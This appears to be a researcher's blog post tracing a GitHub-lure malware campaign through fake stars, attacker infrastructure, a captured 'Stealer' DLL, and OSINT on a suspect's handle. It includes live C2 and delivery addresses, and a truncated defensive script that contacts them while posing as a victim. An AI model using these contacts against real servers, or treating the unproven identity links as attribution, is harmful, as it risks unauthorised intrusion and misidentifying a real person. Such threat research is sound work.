Identified scheduled tasks          → removed
Known C2 connection                 → no longer active

From the second, the incident was still very much alive:

Browser sessions / cookies → potentially reusable
Application tokens         → potentially reusable
Locally stored credentials → potentially exposed
Trusted-device state       → potentially reusable

Deleting RuntimeBroker.exe could invalidate none of those things.

There was also an important asymmetry in the feedback. Removing persistence produces immediate evidence. Delete a malicious task, reboot, and observe that the executable does not return. Kill a C2 connection and watch it disappear. Each action supplies a visible indication that part of the problem has been solved. Credential remediation is different. Revoking a stolen session usually produces no satisfying confirmation that the action was necessary. Rotating a token that may or may not have been collected produces no visible success. Logging every service out everywhere can look almost identical whether the attacker possessed those sessions or not.

And when that work is missed, the failure may remain invisible for some time. The consequence can appear days later, on another platform, in a form that initially looks unrelated to the original compromise. That is exactly what happened here. The incident eventually made more sense as:

Malicious repository → PowerShell delivery → RAT execution
        ↓
Authentication material collected
        ↓
Host persistence removed
        ↓
Stolen authentication material remains valid elsewhere
        ↓
Access distributed or consumed downstream
        ↓
Different services abused over time

My red-team background was not the wrong tool. In several parts of this incident, it was a useful one. Thinking like the attacker helped me identify likely persistence, evaluate implementation quality, and contain the active foothold quickly. The mistake was allowing that same mental model to define when the incident was over. Offensive thinking is good at asking what an adversary can still do. Recovery must also ask what the adversary no longer needs to do because the damage has already left the endpoint. That was the lesson I had to learn from the wrong side of the engagement.

By that point, the incident had also produced something useful: samples, infrastructure, repository history, and a set of questions that no longer stopped at my computer.

And that became the starting point for Part Two: moving from incident response into threat intelligence.

Following the Operation Beyond the Endpoint

Part One ended at a point I would have preferred to reach without the practical demonstration: removing the malware did not revoke the access it had already exposed. The host could stop running the attacker's code while somebody else continued spending the results.

Once the immediate recovery work was under control, I could finally return to the questions that had been less urgent while my accounts were falling over. Where had that repository come from? Was it one disposable lure, or part of something larger? And why had the first executable revealed plenty of remote-access machinery but so little obvious information-stealing logic?

I had not suddenly acquired the attacker's panel, database, or internal chat history. I had a preserved executable, a few repository and platform screenshots, some disappearing web pages, and an increasingly inconvenient collection of unanswered questions.That turned out to be enough to make a start.

The investigation below follows how those fragments accumulated. The important moments were not just the discoveries. They were the points where a new artifact forced me to revisit an earlier interpretation—including several interpretations I had been rather pleased with at the time.

The First Puzzle: The Malicious Repository

The initial lure was MillipedeLoad/Adobe-Acrobat-Pro. In Part One, the useful question had been what its installation command executed. Now I wanted to understand why the repository looked credible enough for me to execute it in the first place, and whether the surrounding GitHub activity was genuine. The screenshot I had preserved became more useful on this second visit. It showed 303 stars and 17 forks, but only five contributions in the last year on the profile. The apparent project popularity and the visible development activity were telling very different stories.

image.png

A popular repository with few commits is not automatically malicious. A mature project might be mirrored, imported, or maintained elsewhere. Here, however, that explanation had to coexist with a README that led into a malicious PowerShell chain and a repository whose actual source content did very little to support its advertised purpose. I therefore stopped treating the star count as an endorsement and started treating it as another artifact to investigate.

There was one immediate problem: some of the relevant accounts and repositories had already disappeared. The convenient version of the investigation—open the profile, inspect the files, follow the links—was no longer available everywhere.

Deleted pages and the evidence around them

I worked outward from the objects that survived: cached search results, surviving forks, Git history, and public-event archives such as Ecosyste.ms Timeline, which presents GH Archive data. Web archives were another place to look, but a query to an archive was not itself a recovered snapshot. I kept the source of each recovered fact separate

This distinction sounds administrative until it prevents a wrong conclusion. A search result can preserve a repository name or part of an installation command. It cannot, by itself, tell me what every file in that repository contained. A surviving fork can retain commits and blobs after the original path goes away. A public WatchEvent can establish that a particular account starred a named repository, even if the repository content is gone. None of those records substitutes for all the others.

The practical result was that “404” became the beginning of another search, rather than the end of the evidence trail. The original page could vanish while its commits, forks, references, and interactions remained scattered around it.

The product names changed; the construction did not

The first useful cluster covered surprisingly unrelated products:

Repository Advertised theme Recovered connection
MillipedeLoad/Adobe-Acrobat-Pro PDF software Initial incident lure; parent history preserved by surviving forks
GulfMouseVice/crypto-miner-gpu-cpu-hashrate Cryptocurrency mining shells[.]su delivery instructions and a similar repository lifecycle
Binaryunenhance/instagram-liker-bot-auto-like-software-download Instagram automation Parallel instructions using gitbase[.]su
HyperIllusionistTap/Whale-Tracker-Analytics Market analytics Retained same-template delivery observations; less complete surviving Git evidence

The common elements were more useful than the marketing: the /powershell/Genesis.ps1 path, closely related remote-execution instructions, keyword-heavy READMEs, very small trees, and source files that did not appear to implement the promised applications. The early snapshots recorded roughly 3–4 KB for several of these repositories despite hundreds of stars.

A particularly revealing detail was the language badge. One repository had temp.cpp, another temp.py, and another temp.cs. At a glance, that suggested C++, Python, and C# projects. Looking inside exposed the same content:

image.png

image.png

image.png

The retained Git blob identifier was identical:

f7aa7c960f15059c892e4558d44ad9ac70f46cba

Three apparent implementation languages. One instruction to go somewhere else. The badge had become part of the packaging rather than evidence of software development. It was an inexpensive way to make a README-driven delivery page look more like a normal code repository.

The exact blob match proved content reuse, not authorship. A short placeholder is easy to copy and not distinctive enough to carry a campaign attribution by itself. Its significance came from the surrounding agreement: the same delivery path, the same thin-code construction, similar README instructions, and the timing of the promotion that followed.

The age was real; the apparent history was misleading

Commit history added another useful correction. A repository could have existed for months without having contained anything resembling its current advertised software. The retained GulfMouseVice history began on March 31 with a README consisting of the one-line heading # fljghchq. On August 16, the README was replaced with a much more substantial miner promotion containing the Genesis delivery command. A decorative Python file followed minutes later.

The Adobe lure had a comparable sequence: an old minimal README, followed by a malicious rewrite and a placeholder source file shortly before the incident. The Instagram branch carried the parallel gitbase[.]su instructions earlier in August.

Recorded change Time in the retained commit data Why I kept it
Adobe malicious README August 16, 18:12:06 UTC Content change that made the old repository dangerous
Adobe temp.cpp placeholder August 16, 18:14:34 UTC Cosmetic source-language contribution immediately afterward
Miner malicious README August 16, 19:45:40 UTC A similar conversion about 94 minutes after the Adobe change
Miner temp.py placeholder August 16, 19:48:28 UTC The same short delay before adding the decorative source file

These were Git metadata times, not an authenticated record of the operator's physical activity. I also did not interpret the +0200 and +0300 author offsets as proof of location. Their useful contribution was the sequence of changes and the similarity between repository lifecycles.

For a prospective victim, however, the distinction mattered enormously. “This repository has existed since March” sounds reassuring. “This repository contained a junk heading until a few hours before the malicious installation instructions appeared” sounds rather different. I had been looking at the age of the container. The relevant event was when somebody changed what was inside it.

The fork wave

The forks were useful in two ways. First, they preserved evidence. Surviving Adobe forks under dev-Warrior65621 and zx-King7147447733lion, and miner forks under accounts such as mad-Plasma-Mind9, retained parent relationships and Git history after the original pages became unavailable. Second, their timing contributed to the promotional picture. Representative forks in the retained records appeared approximately 12, 21, and 33 minutes after the corresponding weaponization or finalizing changes. Those intervals belonged to specific examples; they were not a measured distribution over every fork in the campaign.

The account names often followed a familiar construction: words combined with numbers, then a technical-looking suffix such as -hub-bin-cli-pwn, or -cfg. After enough examples, they started to look less like individual usernames and more like output from a naming routine. But naming style was still only a clue. Ordinary users also choose odd names, and ordinary users also fork suspicious projects. The stronger evidence was repeated behavior: similar accounts appearing in tight windows around newly weaponized, thinly populated repositories using the same delivery template. That was the point at which a repository list stopped being an adequate way to organize the investigation.

Following the accounts instead of only the links

I built the next pass around alternating pivots:

Repository → star/fork actors → those actors' other repositories
           → repository owners → more recorded interactions

The graph needed typed edges. An owns edge described ownership as recorded by the platform. A starred edge described a public event. A fork edge described lineage. I did not let any of them quietly turn into “is an accomplice.”

One historical repository became a particularly useful seed:

gitlerzov1488gitler-cmd/RUST-2026-A-I-M

The owner name was unusual enough to warrant a separate investigation, which I return to below. For the graph, its immediate value was the surrounding event history.

The retained Timeline record showed an owner self-star on January 7, 2026, at 17:48, followed by ten other accounts starring the repository in the displayed 19:41–19:44 window. I preserved those as page-displayed times because the timezone of that presentation had not been independently verified.

Three minutes is not a great deal of time for ten independent people to discover the same obscure repository—especially when several of them also appeared around the same other projects in those same minutes.

The ten-account seed cohort retained in the event graph

fastjack73leontrq       finklousen59upy
pripak-minibearqie      greyjulianbell491vdf
stne-100ye7             funnyway9m51
bambino66lamb4bn        urch-arrow376
laner-mrgood306         brom-100cmh

These are event actors, not ten confirmed members of one criminal organization. The dataset preserves the interaction being asserted for each one.

Two optimization projects under glas2000wsz shared four members of this cohort. Other repeated targets involved Rust and Valorant cheats, Counter-Strike skin changers, an authenticator, and performance utilities. The recurring accounts were more informative than any one project's alarming title.

The activity also repeated over time. A January 19 wave involved cheat and executor themes. On January 28, two seed stargazers promoted the same authenticator within a 13-minute window. On February 6, one account starred several game/performance projects in roughly a minute. On February 8, a market-analysis assistant appeared alongside another game-related target.

This was not simply “people who like games sometimes star game repositories.” It was a small set of accounts repeatedly supplying similar bursts of attention to otherwise unrelated software themes.

image.png


The first bounded pass contained 47 nodes and 67 edges: 28 account nodes, 19 repositories, 48 star relationships, and 19 ownership relationships. The second pass expanded to 125 nodes and 150 edges. The larger number needs explaining rather than advertising. It includes 54 account nodes, 45 repositories, 14 evidence nodes, six skill variants, and six other typed objects. The 25 sampled current forks are already included in the repository count. Evidence documents are not people. Context-only forks are not confirmed malware projects

image.png

A branch that reached independently documented malicious behavior

One seed stargazer, fastjack73leontrq, led to the historical repository path krajekisbtc/PolymarketBTC15mAssistant. This was more useful than another suspiciously named cheat repository because the publisher label also appeared in independent security research.

Unit 42 documented polymarketbtcpolymarketbtcassistant, and related skills published by krajekisbtc that exfiltrated cryptocurrency private keys through the Telegram Bot API. Its report described that as a distinct channel rather than part of the shared dropper infrastructure discussed elsewhere in the same research. 

image.png

The connection I could support was therefore specific:

Seed repository
    ← starred by fastjack73leontrq
         → also starred historical krajekisbtc repository
              → publisher label in independently documented malicious skills

That strengthened the case for an abusive promotion ecosystem. It did not make the graph an organization chart. The shared account might belong to the operator, a paid promotion service, an affiliate, or an account pool used by several customers.

A second branch, through greyjulianbell491vdf, reached moneycash-10094n/rust-fps-boost. Its preserved presentation instructed users to run an administrator-level “FPS boost” executable. The later sample review recorded a roughly 10 MB PE whose normal section data ended much earlier, leaving a large structured overlay, together with decryption and in-memory execution-related behavior. That review assessed it as a malicious loader rather than the advertised optimizer. 

image.png

The initial graph had correctly marked this as a high-risk lure before the sample was reviewed. The later assessment did not retroactively turn the original star event into proof of malware. It added a separate content-based finding to a relationship already recorded. That sequence was exactly what I wanted from the graph: a way to reach artifacts worth examining, not a machine for assigning guilt by proximity.

IP Addresses, Domains, and What the Infrastructure Gave Away

The host-side investigation had already exposed more than one server role. shells[.]su belonged to the delivery and screenshot-collection layer. 145.63.134[.]94 appeared in the native payload's runtime communication. The parallel repository templates introduced gitbase[.]su.

image.png

image.png

I kept those roles separate instead of flattening everything into one column labeled C2. Otherwise, a domain used to deliver a loader, a server receiving a screenshot, and a destination promoted by a stolen social account could all appear equally close to the operator when they were not.

The historical records around 192.162.199[.]184 were particularly useful. The investigation material associated it with shells[.]su and with earlier domains including verificator[.]cc. The later network report also recorded genesis-hub[.]cc in that hosting cluster. These observations supplied continuity around infrastructure whose visible front could change. Please refer to https://phishdestroy.io/domain/verificator.cc/, https://gridinsoft.com/online-virus-scanner/url/verificator-cc, https://phishdestroy.io/domain/genesis-hub.cc/, https://gridinsoft.com/online-virus-scanner/url/genesis_hub-cc for details.

image.png

They also imposed a limit. An IP can host different domains at different times, and shared or reused infrastructure does not automatically establish the same tenant. The useful unit was the host, service, domain, path, and observation time together

The retained domain research placed verificator[.]cc registration on July 27 and genesis-hub[.]cc on July 30, with historical association to the same .184 server. shells[.]su followed on August 13; the lure repositories were weaponized shortly afterward. The value of the older threat-intelligence records was not simply that a reputation service had drawn a red warning icon. It was that the host already had relevant malicious-hosting context before the particular lure I had executed appeared.

image.png

Unnecessarily informative Windows Server

As we already knew that IP 145.63.134[.]94 is the C2 server, 192.162.199.184 is the delivery server.  However, both of them exposed excessive service to the Internet, rather than implementing IP whitelisting, local listening, or tunneled access. Shodan captured the snapshot of them: https://www.shodan.io/host/192.162.199.184, https://www.shodan.io/host/145.63.134.94.

image.png

image.png

While exposing ports such as 135, 445, and 3389 does not automatically make a system easy to exploit, I would hardly call it great OPSEC either. Some of these services are rather verbose, leaking fingerprints useful to threat hunters—and perhaps breadcrumbs for other attackers looking at the same infrastructure. There is a certain irony in that: I am a red teamer, and I still got compromised. They are attackers too. That does not mean nobody gets to attack them. lol

The Handle That Did Not Blend In

The shells[.]su record retained a registry contact:

krassavchik13370@gmail[.]com

The recorded registration time was August 13, 2026, 19:17:32 UTC. The gitbase[.]su investigation led to another reported contact:

gitlerzov1488gitler@gmail[.]com

A contact string also does not prove a legal identity. It can be a burner, a compromised account, misleading metadata, or something deliberately planted. Still, this one differed sharply from the apparently generated GitHub names around it. I had already encountered an almost exact version of it in a historical repository owner:

WHOIS contact local part:  gitlerzov1488gitler
Historical GitHub owner:  gitlerzov1488gitler-cmd

image.png

image.png

Well, it appears that this one stands out from all other randomly-looking handles. The core string was gitlerzov1488. The full email local part repeated gitler at the end, while the GitHub owner added -cmd. It was specific enough to search in smaller pieces and exact combinations without treating every account containing gitler or 1488 as a hit. 

“Gitler” is a reference to Hitler, while “1488” is commonly associated with racist and white-supremacist ideology. Given the level of moderation across online communities, as well as the public backlash and embarrassment that can come with expressing such views too openly, I would not expect there to be a large number of surviving handles built around those terms—though certainly not just a handful either. The combination gitler1488 should be considerably rarer, perhaps appearing only a few times, but probably not uniquely so, since it is still a fairly obvious combination within a certain subculture. The addition of ZOV, however, changes the picture significantly. It acts as a much more discriminating token, making the compound handle exceptionally rare and plausibly unique in practice. My question was whether the operational identifier overlapped with a longer-lived public persona. That would be an interesting OPSEC observation even without a real name, address, nationality, or employer. 

By utilizing searching engine and tools such as Sherlock, a ticktok profile caught my eyes, as the profile showed the exact gitlerzov1488 handle with the display name “Mango kartel 66.” The user's video covers various topic, and the Minecraft one looks especially interesting

image.png

In the Minecraft relevant video, the game character stands on the Nazi swastika shaped boat, and the comment section attracted people who shared the same ideology

image.png

Since Minecraft is a key element in his channel, I cross referred Minecraft social platform, and found 2 potential matches. 

image.png

I also found a hit on KLauncher community:

image.png

Aside from exact gitlerzov1488, I also tried with various variations, such as 1488gitler1488. But at the end of the day, I still miss some bridges. Even for gitlerzov1488, while I don't think it is a common one that multiple people will claim it, exist ones can be good clues, I still cannot prove it or make a conclusion. Maybe it is the uncertain nature of OSINT.

image.png


An OPSEC hypothesis, with the chronology left intact

The contrast still bothered me. Most GitHub accounts looked disposable. This one overlapped with a distinctive email local part and a public persona with older activity. Was it an early operational mistake that later account randomization was intended to avoid? That was a reasonable hypothesis to record. It was not an established explanation for the bot network.

In fact, the retained seed-amplification events were already present in January, months before my August infection. The data did not provide a clean “one personal handle first, anonymized bot army afterward” transition. The account pool might have existed for promotion, for rotation, as a shared commercial service, or for several purposes simultaneously.

What I could say was that the long-form handle occupied an unusually useful position in the collected evidence: an archive-visible owner name, a reported infrastructure-contact overlap, and a candidate longer-lived public persona. What I could not say was that graph centrality made the account its leader, or that the owner wrote the malware. Then the binary handed me another reason to keep looking.

Sample Revisit: When the IOC Was Not the Whole Answer

During the incident, 1.exe had been useful primarily as a source of actionable answers: where it copied itself, what relaunched it, what it contacted, and which host artifacts I needed to remove or preserve. AI-assisted analysis helped shorten that process, but it was not a complete reconstruction of the program.

After the immediate remediation work, an awkward mismatch remained. The account aftermath strongly suggested information theft. The executable analysis had identified persistence, C2, tasking, obfuscation, and process/memory operations—but not an obvious, comprehensive implementation of all the browser and application theft that the consequences seemed to imply. There were several possible explanations. The relevant code might be hidden behind obfuscation. It might have been missed during the triage. Or it might not be in this executable at all. The third possibility deserved more attention than I had initially given it. At this stage, threat intelligence and reverse engineering stopped being separate workstreams. The infrastructure and tasking clues told me where to look in the binary; the binary told me what observations would distinguish the competing explanations.

A synthetic victim, rather than my workstation again

The protocol work led to observation scripts using fabricated host profiles. The idea was to understand the delivery and tasking behavior without handing the operation another real workstation or running whatever it returned. The client could record task messages without implementing the task execution they requested. It did not need browser credentials, real files, or an actual information-stealing routine to reveal what the control channel was telling a client to do. The recorded sequence was recognizable: a client checked in, the server requested information with getinfo, and a fabricated profile was returned. Then came the message that changed the direction of the analysis:

python .\genesis_synthetic_victim_suite.py honeypot `
>>   --id A1B2C3D4 `
>>   --user jsmith `
>>   --os "Windows 11 Pro" `
>>   --av "Windows Defender" `
>>   --observe 600 `
>>   --logfile c2_406.jsonl
[2026-09-08T03:49:08+00:00] PROFILE     Synthetic C2 victim: id=A1B2C3D4 user=jsmith os='Windows 11 Pro' av='Windows Defender'
[2026-09-08T03:49:08+00:00] HANDSHAKE   Control channel response: HTTP/1.1 101 Switching Protocols
[2026-09-08T03:49:08+00:00] SEND        Registered synthetic victim: 'ready;A1B2C3D4;version;1.0.0'
[2026-09-08T03:49:09+00:00] RECV        C2 command [GETINFO]: 'getinfo'
[2026-09-08T03:49:09+00:00] SEND        Sent synthetic victim information: 'info;Windows Defender;Windows 11 Pro;jsmith;36763880'
[2026-09-08T03:49:09+00:00] RECV        C2 command [TASK]: 'task;createtask;Stealer;task_id;5v2nlq_oqgr;version;1.0.2'
[2026-09-08T03:49:09+00:00] TASK        Observed createtask: type='Stealer' id='5v2nlq_oqgr' version='1.0.2'
[2026-09-08T03:49:09+00:00] MODULE-OFF  Task 'Stealer' recorded; TCP/408 collection is disabled
[2026-09-08T03:49:12+00:00] RECV        C2 command [PING]: 'ping'
[2026-09-08T03:49:12+00:00] SEND        Sent application-layer pong
[2026-09-08T03:49:27+00:00] RECV        C2 command [PING]: 'ping'
[2026-09-08T03:49:27+00:00] SEND        Sent application-layer pong
[2026-09-08T03:49:42+00:00] RECV        C2 command [PING]: 'ping'
[2026-09-08T03:49:42+00:00] SEND        Sent application-layer pong

That was the real task text captured during the investigation. The name was not subtle. But a task called Stealer was still only a task. At first, the synthetic client received no DLL and no obvious binary stream over that connection. I had an instruction to run the missing component. I did not yet have the component.

Returning to the original executable clarified the division of labor. Port 406 was the WebSocket task channel; port 408 served the module over a separate HTTP connection. The task message was not supposed to contain all of the module bytes. By implementing the simulated interaction with port 408, the eventual capture record documented:

python .\genesis_synthetic_victim_suite.py honeypot `
>>   --capture-modules `
>>   --capture-dir captured_modules `
>>   --logfile c2_full.jsonl
[2026-09-08T03:51:03+00:00] PROFILE     Synthetic C2 victim: id=0EF155DE user=alex os='Windows 11 Pro' av='Avast Antivirus'
[2026-09-08T03:51:04+00:00] HANDSHAKE   Control channel response: HTTP/1.1 101 Switching Protocols
[2026-09-08T03:51:04+00:00] SEND        Registered synthetic victim: 'ready;0EF155DE;version;1.0.0'
[2026-09-08T03:51:04+00:00] RECV        C2 command [GETINFO]: 'getinfo'
[2026-09-08T03:51:04+00:00] SEND        Sent synthetic victim information: 'info;Avast Antivirus;Windows 11 Pro;alex;36763880'
[2026-09-08T03:51:04+00:00] RECV        C2 command [TASK]: 'task;createtask;Stealer;task_id;5v2nlq_oqgr;version;1.0.2'
[2026-09-08T03:51:04+00:00] TASK        Observed createtask: type='Stealer' id='5v2nlq_oqgr' version='1.0.2'
[2026-09-08T03:51:04+00:00] MODULE-GET  GET 145.63.134.94:408/task/Stealer User-Agent=0EF155DE
[2026-09-08T03:51:05+00:00] MODULE      Captured and neutered Stealer 1.0.2: captured_modules\20260907_235105_synthetic_Stealer_1.0.2_5v2nlq_oqgr_9651824ed3d1.quarantine.bin original_size=1459712 original_sha256=9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32c2db0125cfb3
[2026-09-08T03:51:12+00:00] RECV        C2 command [PING]: 'ping'
[2026-09-08T03:51:12+00:00] SEND        Sent application-layer pong
[2026-09-08T03:51:27+00:00] RECV        C2 command [PING]: 'ping'
[2026-09-08T03:51:27+00:00] SEND        Sent application-layer pong

This time, the sample really had arrived. The new file was a native x64 DLL, not another copy of the 533,504-byte 1.exe and not a BOF object. Its original capture hash was:

9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32c2db0125cfb3

The analysis copy had been deliberately altered before disk storage: a non-executable extension, broken PE-identifying header fields, and requested read-only permissions. Its separate hash was:

dbae56e4a26cde05c166e346d22c253f38619d7ee703608d5f98db0314e7675d

The DLL's own report-generation code contained the label “Redhive Stealer.” Its initialization logic also checked for Global\RuntimeBrokerAds, the mutex already associated with the original loader, before using Global\StealerLib for its own instance control. That was a much stronger code-level relationship than the fact that the downloaded file had been called Stealer. The emerging architecture was now more coherent:

Persistent loader / RAT
        ↓ receives task
Separately supplied Stealer DLL
        ↓ collects and organizes data
Independent result-upload channel

The modular idea resembled post-exploitation frameworks: keep communication and dispatch in a resident component, then supply the capability needed for a particular job. The actual captured object was a DLL. It also changed the meaning of an earlier reassuring finding. All identified autostarts could point to one executable while that executable still acquired additional runtime capabilities. One persistent on-disk payload was never proof of only one payload over the life of the compromise.

The script to simulate a victim it as below:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Genesis-SU Synthetic Victim Suite

Integrated defensive research utility with four functional modules:

  delivery       Synthetic delivery/staging callbacks + fake screenshot upload
  honeypot       TCP/406 WebSocket synthetic victim; optional task-triggered 408 collection
  workflow       delivery -> 406 honeypot -> optional 408 collection using one identity
  exfil-*        Controlled TCP/1488 protocol laboratory using synthetic ZIP content only

Safety invariants:
  * All victim data is synthetic.
  * Attacker-supplied responses/tasks are recorded only and never executed.
  * Downloaded modules are never loaded or run.
  * Valid PE modules are neutered before disk I/O and stored read-only.
  * Synthetic screenshots are generated in memory; the analyst desktop is never captured.
  * TCP/1488 client mode is restricted to loopback/private controlled targets.
  * No brute-force, flooding, service enumeration, or exploit logic is included.
"""

from __future__ import annotations

import argparse, base64, hashlib, io, ipaddress, json, os, random, re
import secrets, socket, ssl, stat, string, struct, threading, time
import urllib.error, urllib.parse, urllib.request, zipfile, zlib
from dataclasses import asdict, dataclass
from datetime import datetime, timezone
from pathlib import Path, PurePosixPath
from typing import Iterable, Optional

DEFAULT_DELIVERY_BASE = "https://shells.su"
DEFAULT_C2_HOST = "145.63.134.94"
DEFAULT_CONTROL_PORT = 406
DEFAULT_TASK_PORT = 408
DEFAULT_EXFIL_PORT = 1488
WS_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
WS_KEY = "dGhlIHNhbXBsZSBub25jZQ=="
BOT_VERSION = "1.0.0"
CAMPAIGN_ID = "36763880"
DEFAULT_STAGING_UA = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp"
MAX_MODULE_BYTES = 0x300000
MAX_HTTP_HEADER = 65536
MAX_EXFIL_ARCHIVE = 4 * 1024 * 1024
MAX_EXFIL_ENTRY = 512 * 1024
MAX_EXFIL_ENTRIES = 64
AUTH_MARKER = b"auth_ok"
WS_OP_CONT, WS_OP_TEXT, WS_OP_BINARY = 0x0, 0x1, 0x2
WS_OP_CLOSE, WS_OP_PING, WS_OP_PONG = 0x8, 0x9, 0xA
SAFE_TASK_CHARS = set("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-")


class Logger:
    def __init__(self, jsonl_path=None):
        self.fp = open(jsonl_path, "a", encoding="utf-8") if jsonl_path else None
        self.lock = threading.Lock()

    @staticmethod
    def iso():
        return datetime.now(timezone.utc).isoformat(timespec="seconds")

    def event(self, tag, message, **fields):
        with self.lock:
            print(f"[{self.iso()}] {tag:<11} {message}", flush=True)
            if self.fp:
                rec = {"time_unix": time.time(), "time_utc": self.iso(), "tag": tag, "message": message, **fields}
                self.fp.write(json.dumps(rec, ensure_ascii=False) + "\n")
                self.fp.flush()

    def close(self):
        if self.fp:
            self.fp.close()


@dataclass
class VictimProfile:
    hostname: str = ""
    username: str = ""
    os_version: str = ""
    av_product: str = ""
    bot_id: str = CAMPAIGN_ID
    checkin_id: str = ""
    country: str = ""

    def randomize(self):
        if not self.hostname:
            self.hostname = "DESKTOP-" + "".join(random.choices(string.ascii_uppercase + string.digits, k=7))
        if not self.username:
            self.username = random.choice(["jsmith", "mwilson", "klee", "alex", "charlie", "operator"])
        if not self.os_version:
            self.os_version = random.choice(["Windows 11 Pro", "Windows 10 Pro", "Windows 11 Enterprise", "Windows 10 Enterprise"])
        if not self.av_product:
            self.av_product = random.choice(["Windows Defender", "Windows Defender", "Avast Antivirus", "ESET Security"])
        if not self.checkin_id:
            self.checkin_id = f"{int.from_bytes(os.urandom(4), 'big'):08X}"
        if not self.country:
            self.country = random.choice(["US", "CA", "DE", "GB", "AU"])
        return self

    def checkin_message(self):
        return f"ready;{self.checkin_id};version;{BOT_VERSION}"

    def info_message(self):
        return f"info;{self.av_product or 'unknown'};{self.os_version};{self.username};{self.bot_id}"


def build_profile(args):
    return VictimProfile(
        hostname=getattr(args, "hostname", "") or "",
        username=getattr(args, "user", "") or "",
        os_version=getattr(args, "os_version", "") or "",
        av_product=getattr(args, "av", "") or "",
        bot_id=getattr(args, "botid", CAMPAIGN_ID) or CAMPAIGN_ID,
        checkin_id=(getattr(args, "id", "") or "").upper(),
        country=(getattr(args, "country", "") or "").upper(),
    ).randomize()


def sha256_bytes(data):
    return hashlib.sha256(data).hexdigest()


def read_only(path: Path):
    try:
        os.chmod(path, stat.S_IRUSR)
    except OSError:
        try:
            os.chmod(path, stat.S_IREAD)
        except OSError:
            pass


def safe_component(value, max_len=64):
    return bool(value) and len(value) <= max_len and all(c in SAFE_TASK_CHARS for c in value)


def response_preview(data, limit=240):
    return data[:limit].decode("utf-8", errors="replace").replace("\r", "\\r").replace("\n", "\\n") if data else ""


# ---------------------------------------------------------------------------
# Module 1: delivery / staging probe
# ---------------------------------------------------------------------------

def _png_chunk(kind, payload):
    crc = zlib.crc32(kind)
    crc = zlib.crc32(payload, crc) & 0xFFFFFFFF
    return struct.pack(">I", len(payload)) + kind + payload + struct.pack(">I", crc)


def make_synthetic_desktop_png(width=960, height=540):
    """Generate a fake desktop-like PNG without reading the analyst desktop."""
    width = max(320, min(width, 1920)); height = max(180, min(height, 1080))
    rows = bytearray()
    for y in range(height):
        rows.append(0)
        for x in range(width):
            r = 20 + int(20 * y / height); g = 75 + int(45 * x / width); b = 130 + int(80 * y / height)
            wx0, wy0, wx1, wy1 = width // 7, height // 8, width * 6 // 7, height * 4 // 5
            if wx0 <= x <= wx1 and wy0 <= y <= wy1:
                r, g, b = ((45, 48, 54) if y < wy0 + 32 else (235, 237, 240))
            if wx0 + 18 <= x <= wx0 + 150 and wy0 + 55 <= y <= wy1 - 20:
                r, g, b = 220, 224, 229
            if wx0 + 180 <= x <= wx1 - 25:
                if wy0 + 65 <= y <= wy0 + 120: r, g, b = 210, 225, 244
                elif wy0 + 145 <= y <= wy0 + 205: r, g, b = 224, 234, 220
            if y >= height - 42: r, g, b = 25, 28, 33
            if 18 <= x <= 70 and 18 <= y <= 50: r, g, b = 220, 50, 50
            rows.extend((r, g, b))
    sig = b"\x89PNG\r\n\x1a\n"
    ihdr = struct.pack(">IIBBBBB", width, height, 8, 2, 0, 0, 0)
    return sig + _png_chunk(b"IHDR", ihdr) + _png_chunk(b"tEXt", b"Comment\x00SYNTHETIC RESEARCH DESKTOP - NO VICTIM DATA") + _png_chunk(b"IDAT", zlib.compress(bytes(rows), 6)) + _png_chunk(b"IEND", b"")


@dataclass
class HTTPObservation:
    method: str
    url: str
    status: Optional[int]
    response_size: int
    response_sha256: Optional[str]
    content_type: str
    preview: str
    error: str = ""


def http_request(method, url, *, user_agent, body, timeout, insecure_tls):
    req = urllib.request.Request(url, data=body, method=method)
    req.add_header("User-Agent", user_agent)
    if body is not None:
        req.add_header("Content-Type", "application/x-www-form-urlencoded")
    ctx = ssl._create_unverified_context() if insecure_tls else ssl.create_default_context()
    try:
        with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
            data = resp.read(1024 * 1024)
            return HTTPObservation(method, url, getattr(resp, "status", None), len(data), sha256_bytes(data) if data else None, resp.headers.get("Content-Type", ""), response_preview(data))
    except urllib.error.HTTPError as exc:
        try: data = exc.read(1024 * 1024)
        except Exception: data = b""
        return HTTPObservation(method, url, exc.code, len(data), sha256_bytes(data) if data else None, exc.headers.get("Content-Type", "") if exc.headers else "", response_preview(data), f"HTTP error: {exc}")
    except Exception as exc:
        return HTTPObservation(method, url, None, 0, None, "", "", str(exc))


def delivery_cycle(args, profile, log):
    base = args.delivery_base.rstrip("/")
    query = urllib.parse.urlencode({"pc": profile.hostname, "country": profile.country})
    start_url, screen_url, end_url = f"{base}/start.php?{query}", f"{base}/screen.php?{query}", f"{base}/end.php?{query}"
    png = make_synthetic_desktop_png(args.screen_width, args.screen_height)
    image_uri = "data:image/png;base64," + base64.b64encode(png).decode("ascii")
    screen_body = urllib.parse.urlencode({"pc": profile.hostname, "image": image_uri}).encode("ascii")
    log.event("PROFILE", f"Synthetic delivery victim: host={profile.hostname} country={profile.country}", module="delivery", synthetic=True, profile=asdict(profile))
    log.event("SCREEN", f"Generated synthetic desktop PNG: {len(png)} bytes sha256={sha256_bytes(png)}", module="delivery", png_sha256=sha256_bytes(png))
    if args.dry_run:
        log.event("DRYRUN", f"GET {start_url}", module="delivery")
        log.event("DRYRUN", f"POST {screen_url} fields=[pc,image] encoded_bytes={len(screen_body)}", module="delivery")
        log.event("DRYRUN", f"GET {end_url}", module="delivery")
        return
    for tag, method, url, body in [("START", "GET", start_url, None), ("SCREEN", "POST", screen_url, screen_body), ("END", "GET", end_url, None)]:
        obs = http_request(method, url, user_agent=args.staging_ua, body=body, timeout=args.delivery_timeout, insecure_tls=args.insecure_tls)
        log.event(tag, f"{method} {url} -> status={obs.status} bytes={obs.response_size}" + (f" error={obs.error}" if obs.error else ""), module="delivery", observation=asdict(obs))
        if obs.preview:
            log.event("RESPONSE", f"{tag} response preview (recorded only, never executed): {obs.preview!r}", module="delivery")


# ---------------------------------------------------------------------------
# Module 2: TCP/406 WebSocket synthetic victim
# ---------------------------------------------------------------------------

def ws_encode(payload, opcode=WS_OP_BINARY):
